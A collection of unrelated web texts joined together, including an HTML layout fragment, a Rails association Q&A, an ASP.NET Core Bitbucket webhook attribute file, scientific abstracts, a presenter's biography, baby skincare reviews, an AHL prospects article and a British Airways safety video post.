<div></div><div><span class="C">C</span></div>
</div></li>
</ol>
</div>
<br style="clear:both;">
<div class="ltr">
<ol>
<li><div><div style="overflow:hidden;">
<label></label>
Outside
</div></div></li>
</ol>
</div>
<div class="rtl">
<ol>
<li><div><div style="overflow:hidden;">
<label></label>
Outside
</div></div></li>
</ol>
</div>
<br style="clear:both;">
<div style="float:left; width:100px; height:5em; border:1px solid black"></div>
<div class="ltr">
<ol>
<li><div><div style="overflow:hidden;">
<label></label>
Outside
</div></div></li>
</ol>
</div>
<br style="clear:both;">
<div style="float:right; width:100px; height:5em; border:1px solid black"></div>
<div class="rtl">
<ol>
<li><div><div style="overflow:hidden;">
<label></label>
Outside
</div></div></li>
</ol>
</div>
</body>
</html>
|
Q:
accessing user attributes with a has_many and belongs_to association
Not sure why i can figure this out but would appreciate some assistance. I am trying to access the attribute name from my user model when displaying search results using ransack.
My recipe controller is like so
def index
@q = Recipe.search(params[:q])
@searchresults = @q.result(:distinct => true)
@q.build_condition
end
def search
index
end
so when i output the results in my search page i can select attributes from the recipe model but cant get anything returned from the user model (I guess this has to do with the fact that in my index i have Recipe.search ? )
View
<% @searchresults.each do |r| %>
<%= image_tag r.avatar.url(:thumb)%>
<%= r.user.name%>
<%= r.dish_name %>
<%= r.difficulty %>
<%= r.preperation_time %>
<% end %>
I get undefined method name with this
Recipe model
belongs_to :user
User Model
has_many :recipes
What am i missing, something simple im guessing?
Thank you
A:
Generally you don't want to chain association methods together, as it makes dealing with nil associations much more difficult (I assume that's what is happening here: r.user is nil, and nil.name is an undefined method).
Rails has a built-in delegator you can use to sidestep this:
class Recipe < ActiveRecord::Base
belongs_to :user
delegate :name, :to => :user, :prefix => :user, :allow_nil => true
end
This will define a recipe instance method called r.user_name which returns the name if the user exists and nil if it doesn't.
|
Headed to AGHE?
This year's annual meeting for the Association of Gerontology in Higher Education begins today in Long Beach, CA, in The Westin Long Beach March 3-6. Make sure to check out what new titles Springer Publishing Company has in the world of Gerontology.
The AGHE Annual Meeting and Educational Leadership Conference is the premier national forum for discussing ideas and issues in gerontological and geriatric education.
Every year, there are over 5 million tourists that head to Long Beach, so here are some fun facts about the city to get you excited for the trip:
1. On average the city has 345 days of sunshine each year. Go enjoy that California sunshine!
2. Long Beach is the 7th largest city in California and the 36th largest city in the United States.
3. The Port of Long Beach remains one of the world’s largest seaports. It handles millions of containers each year and is second busiest container ports in America.
4. The Aquarium of the Pacifics, located in the city, has a record of more than one million visitors each year. Make sure to check it out while you're in town.
5.The original Queen Mary is docked on the shores of Long Beach. It is now out of commission and has been transformed as an exclusive club and restaurant. A historical must-see!
Leave us a comment with your adventures in Long Beach, and have a great time at AGHE! |
The primary objective of this study was to determine the concentration-response relationship of the adenosine A1-receptor antagonist, BG9719 above, and in combination with furosemide on sodium excretion. The study population consists of adult subjects with symptomatic moderate to severe heart failure and renal insufficiency. BG9719 is a highly receptive adenosine A1-receptor antagonist that causes natiuresis by reducing adenosine A1-mediated sodium reabsorption in both the proximal and the distol tubules of the nephron with only minimal potassium loss. Maintenance of GFR is accomplished by BG9719's interruption of the tubuloglomerular feedback loop. |
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information.
using System;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.Infrastructure;
using Microsoft.AspNetCore.WebHooks.Filters;
using Microsoft.AspNetCore.WebHooks.Metadata;
using Microsoft.AspNetCore.WebHooks.Properties;
namespace Microsoft.AspNetCore.WebHooks
{
/// <summary>
/// <para>
/// An <see cref="Attribute"/> indicating the associated action is a Bitbucket WebHook endpoint. Specifies the
/// optional <see cref="EventName"/> and <see cref="WebHookAttribute.Id"/>. Also adds a
/// <see cref="WebHookReceiverExistsFilter"/> and a <see cref="ModelStateInvalidFilter"/> (unless
/// <see cref="ApiBehaviorOptions.SuppressModelStateInvalidFilter"/> is <see langword="true"/>) for the action.
/// </para>
/// <para>
/// The signature of the action should be:
/// <code>
/// Task{IActionResult} ActionName(string id, string @event, string webHookId, TData data)
/// </code>
/// or include the subset of parameters required. <c>TData</c> must be compatible with expected requests e.g.
/// <see cref="Newtonsoft.Json.Linq.JObject"/>.
/// </para>
/// <para>
/// An example Bitbucket WebHook URI is
/// '<c>https://{host}/api/webhooks/incoming/bitbucket/{id}?code=83699ec7c1d794c0c780e49a5c72972590571fd8</c>'.
/// See <see href="https://confluence.atlassian.com/bitbucket/manage-webhooks-735643732.html"/> for additional
/// details about Bitbucket WebHook requests.
/// </para>
/// </summary>
/// <remarks>
/// <para>
/// If the application enables CORS in general (see the <c>Microsoft.AspNetCore.Cors</c> package), apply
/// <c>DisableCorsAttribute</c> to this action. If the application depends on the
/// <c>Microsoft.AspNetCore.Mvc.ViewFeatures</c> package, apply <c>IgnoreAntiforgeryTokenAttribute</c> to this
/// action.
/// </para>
/// <para>
/// <see cref="BitbucketWebHookAttribute"/> should be used at most once per <see cref="WebHookAttribute.Id"/> and
/// <see cref="EventName"/> in a WebHook application.
/// </para>
/// </remarks>
public class BitbucketWebHookAttribute : WebHookAttribute, IWebHookEventSelectorMetadata
{
private string _eventName;
/// <summary>
/// Instantiates a new <see cref="BitbucketWebHookAttribute"/> indicating the associated action is a Bitbucket
/// WebHook endpoint.
/// </summary>
public BitbucketWebHookAttribute()
: base(BitbucketConstants.ReceiverName)
{
}
/// <summary>
/// Gets or sets the name of the event the associated controller action accepts.
/// </summary>
/// <value>Default value is <see langword="null"/>, indicating this action accepts all events.</value>
public string EventName
{
get
{
return _eventName;
}
set
{
if (string.IsNullOrEmpty(value))
{
throw new ArgumentException(Resources.General_ArgumentCannotBeNullOrEmpty, nameof(value));
}
_eventName = value;
}
}
}
}
|
Thermal effects on chaotic directed transport.
We study a chaotic ratchet system under the influence of a thermal environment. By direct integration of the Lindblad equation we are able to analyze its behavior for a wide range of couplings with the environment, and for different finite temperatures. We observe that the enhancement of the classical and quantum currents due to temperature depend strongly on the specific properties of the system. This makes it difficult to extract universal behaviors. We have also found that there is an analogy between the effects of the classical thermal noise and those of the finite h size. These results open many possibilities for their testing and implementation in kicked Bose-Einstein condensates and cold atoms experiments. |
Ranjini Haridas
Ranjini Haridas is an Indian television presenter, actor, model, YouTuber and singer.
Portfolio
Ranjini Haridas went to London for her higher studies. On her return, she ventured into compering and found it lucrative. Since then she has hosted several stage shows such as Asianet Film Awards, Amrita TV Film Awards, Asiavision Awards, Flowers TV awards, Jaihind Film Awards and SIIMA. Ranjini was crowned Miss Kerala at Femina Miss Kerala - 2000. Her first recognized film appearance was for a cameo roles in China Town and Thalsamayam Oru Penkutty (2013). Later she played as a police officer in the film Entry (2013) opposite Baburaj, it was her first leading role. From 2015 she has been an integral part of Flower TV both in program management and TV hosting. She hosted the Star Singer program on Asianet TV from 2007 to 2012. In 2017 she returned to Asianet with Run Baby Run, a revamped celebrity interview programme. She along with Santhosh Pandit in 2016 was voted as the most hated and trolled artists in Malayali social media related to entertainment fields. She was a participant in Bigg Boss Malayalam (season 1).
Television
Filmography
Controversies
She was openly criticised by veteran actor Jagathy Sreekumar for overstepping her boundaries as an anchor in the singing contest Star Singer. Jagathy was widely criticised of being sexist and what many felt was an unprovoked attack against the anchor publicly. There were allegations from contestants that she was doing so to influence judges in favour of certain contestants. Ranjini openly spoke about his verbal tirade and pointed out towards the inherent sexism in the Malayalam industry. She was shamed by a mob for her alleged use of unparliamentary words and physical attack on a passenger who grazed her in a jammed airport, for this she later responded the community was led by misogynists. A similar incident happened when a passenger created ruckus when he alleged that she tried to bypass queue in Airport in an attempt to use special privileges, both the parties registered cases against each other for abusive verbal attack.
References
Category:Living people
Category:Year of birth missing (living people)
Category:20th-century Indian actresses
Category:21st-century Indian actresses
Category:Actresses from Kochi
Category:Actresses in Malayalam cinema
Category:Actresses in Malayalam television
Category:Female models from Kerala
Category:Indian film actresses
Category:Indian television actresses
Category:Indian television presenters
Category:Indian women television presenters
Category:Bigg Boss contestants |
All of my friends had different opinions about which diaper rash cream is the best for my baby, So I received Desitin, a + D, Boudreaux's Butt paste, Vaseline, and this wonderful Aquaphor best for everything cream. After trying all the white creams that are stuck in the cracks of their butt in the morning when they wake up and don't really heal the diaper rash overnight this was a huge surprise! This is a clear ointment that is a little thicker then Vaseline, does not have a smell really, and completely healed her but chap overnight. It really does prevent the diaper rash before it happens. I started using it on my hands also and it completely healed my dry cracks! I really love that you cannot smell it and it doesn't get sticky, And it doesn't matter if you get it on your hands as a matter fact it's better if you do! Do not bother with buying any other cream especially for diaper rash!
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My 7wk old baby girl has baby acne, and a touch of cradle cap. A friend of mine suggested aquaphor, I was hesitant. Then my ped gave me a sample of this aquaphor shampoo and let me tell you it helps so much! It'd clearing up her baby acne and the dead skin just comes lose in the bath, I just comb it out when she dries, you can't even tell she has cradle cap! I highly recommend it.
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I have been using this shampoo for more than 2 years now for my baby, who is actually sensitive to Johnson products. This is recommended by doctors. I use different Eucerin related products for my baby and its the best. In fact Eucerin moisturizer really heals very dry skin too, my personal experience.
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Reviews
We use this at every diaper change to prevent rash. Also, when our daughter was a newborn we used it all over her body for dry peeling and dry newborn skin. This is a must have for diapering and skin care. |
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Some people never bother to develop a taste for the AHL, but if you want to forecast the next wave of NHL talent, then tracking pro hockey’s triple-A league is simply a must.
While not every hockey fan is prepared to navigate the waters of another 30-team league, a full 85% of NHL players first skate on AHL ice. (Siena Slusser)
There will always be other-worldly talents like Crosby and Stamkos who, due to talent (and the needs of their team), step straight into the NHL. There will also always be those like Claude Giroux, James Neal, Louie Eriksson, and Jonathan Quick who first laced ’em up in the AHL – spending time riding the bus before making their mark in the bigs.
But predicting success isn’t an easy task.
The AHL is league rife with split personalities. As the top developmental league for NHL talent, many of the franchises are owned by their parent NHL empires and stress player development, playing their young talent even when not necessarily in the team’s direct interest.
Meanwhile, a few AHL teams remain independent and place more emphasis on winning. Depending on which club a young skater plays for will impact his development curve, and in turn any analysis by observers.
Further, some players are juggernauts in the AHL, but for one reason or another their game doesn’t translate to the NHL. It’s a basic fact of the AHL: not every top scorer is going to make it to the NHL, never mind thrive there. Or, as is case with this past season’s fifth place point-potter, Keith Aucoin, the A’s best scorers are sometimes those who have had already their day in the NHL.
How exactly, then, does one establish a player’s trajectory with confidence?
While admittedly crude, one of the best discriminators remains age. Most great NHL players spend only a season or two in the AHL, leaving behind the minors behind at a young age.
But this method is not perfect, of course. Some NHL teams – like the Detroit Red Wings for much of the past decade – can afford to let their prospects distill for longer periods of time. So successful predictors pay attention to positions and parent-club needs while tracking the young talent.
With that in mind, here are the AHL’s top 25 scorers for 2011-12 under 25 (overall league scoring rank in parentheses). You haven’t heard the last from these guys.
Maroon has bounced back from whatever mysterious incident caused his dismissal from the Philadelphia Phantoms in October 2010, continuing the goal-scoring that earned him notice going back to his days as a London Knight. DobberHockey thinks he should make the jump to the NHL full time this coming season…but based on the sandpaper he adds to a line-up rather than the lamps he lights.
A member of the 2010 WJC gold-medal winning American team, Johnson made a splash during his rookie AHL campaign this year. He finished strong by putting together a 13-game goal scoring streak in March.
Initially undrafted and playing in the ECHL, A-M was spotted and signed by the New York Rangers in June 2011. He promptly went out and led the Whale in points this past season (tied). Plus, he’s got his own website.
Holland was selected in the first round (15th overall) by the Anaheim Ducks in the 2009 NHL entry draft. He’s already scored a game-winner against Roberto Luongo – no word, however, on how much this pumped the young skater’s tires.
Another first rounder (26th overall) from the 2009 draft, this former US National Development Team member has already played 28 games in the NHL for the Ducks. Palmieri has notched five goals NHL (eight points) over those games.
Red Wings GM Ken Holland summed up the problems of young, skilled players in a recent piece by long-time Wings reporter, Ansar Khan. “(The NHL) is a hard league to be good at when you’re 21, unless you’re a superstar. He’s got to continue to mature as a player. He needs to come to camp and keep developing. He competes hard, has good hands. He needs to get quicker in terms of leg strength.”
The Bleacher Report has Nyquist ranked as the Wing’s second most important prospect (after Defenseman Brendan Smith). And Holland has said that Nyquist will be given a chance to make the team in the fall.
I’m not 100% but I think JAM is not under contract with the Rangers. He’s actually will be UFA come July 1st.
Guest
I know he’s 26 now, but I’d like to see Chris Bourque make the jump next year. Lit it up with Hershey. Maybe Boston will give him shot, because he’s Ray’s boy.
MargannLaurissa87
Great article! I have seen many of these players and they are all worthy choices. I am especially proud of Jonathan Audy-Marchessault; he was one of my favourite players in junior and now in the professional ranks.
Ross Bonander
Glad to see the AHL get some love, good piece, although I can’t help but wonder why Matt Fraser is so far down after a 37 goal season, good for second overall?
Brent Lemon
Ross, the ranking was based only on total points – but that was why a larger sample size was used, to make sure that folks like Fraser were included on the list. And like so many on this list, I think we’ll see more from the Red Deer native who scored 21 goals in his first 40 games for the T-Stars.
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About THW…
Founded in 2009, The Hockey Writers is a premier destination for news on all NHL clubs. Updated often with news and features from over 150 writers. Over 3 million monthly readers now come to THW for their hockey fix. |
British Airways and Comic Relief have been working on a new safety video which will be rolled out from next month (July 2018).
The video will first be featured on short haul flights and starting August introduced on long haul flights as well.
This will be the second video where Comic Relief collaborated with British Airways and apparently the first one was very popular with passengers.
BA has issued a press release about the production process (access here).
Iconic celebrities including Sir Michael Caine, Olivia Colman and Joanna Lumley have come together to create the second instalment of British Airways’ star-studded pre-flight safety video, which launches on board from July.* In the video, seven celebrities are seen ‘auditioning’ in humorous sketches while also landing important safety messages. They are under the watchful eye of comedian Asim Chaudhry, who attempts to direct their every move. … The new film builds on the success of the first instalment, which featured the likes of Gordon Ramsay, Sir Ian McKellen and Thandie Newton, and has been seen by customers nearly 25 million times. As with the first instalment, the new film brings together a collection of Britain’s most-admired celebrities to create a humorous video, while also helping customers take in important safety information. The video promotes Flying Start, the global charity partnership between British Airways and Comic Relief which has supported over half a million children across the UK and some of the world’s poorest communities since launching in 2010…. “Our first video was seen by customers nearly 25 million times so it’s a great way to promote Flying Start, our global charity partnership with Comic Relief. Thanks to our generous customers and colleagues we’ve raised over £19 million for Comic Relief over the past eight years and we hope this video will help us to grow our total even further, as we support great causes at home and around the world.” Flying Start saw a 20 percent increase in donations to Comic Relief after the release of the first safety video.
To watch the director’s cut** from the new safety video on YouTube, see below:
I’m not familiar with anyone featured in this video except Sir Michael Caine but it’s quite funny, at least the first time you see it.
Usually themed safety videos take a toll on frequent fliers because at some point you can’t laugh about it anymore and you just want the safety video to be over. The FC Barcelona video on Qatar Airways comes to mind which was super annoying, especially since their videos are always shows twice, once in Arabic and once in English.
Conclusion
The theme aside it’s great when a safety demonstration can catch the attention of non-regular fliers and even have a contributing aspect for the Flying Start charity.
Almost all airlines have a dedicated charity organization attached where the carrier collects spare change but also regular donations during flights and then applies it to worthwhile causes worldwide. The sums collected are often quite substantial so it’s definitely beneficial if these videos can help promoting the charity a bit more. |
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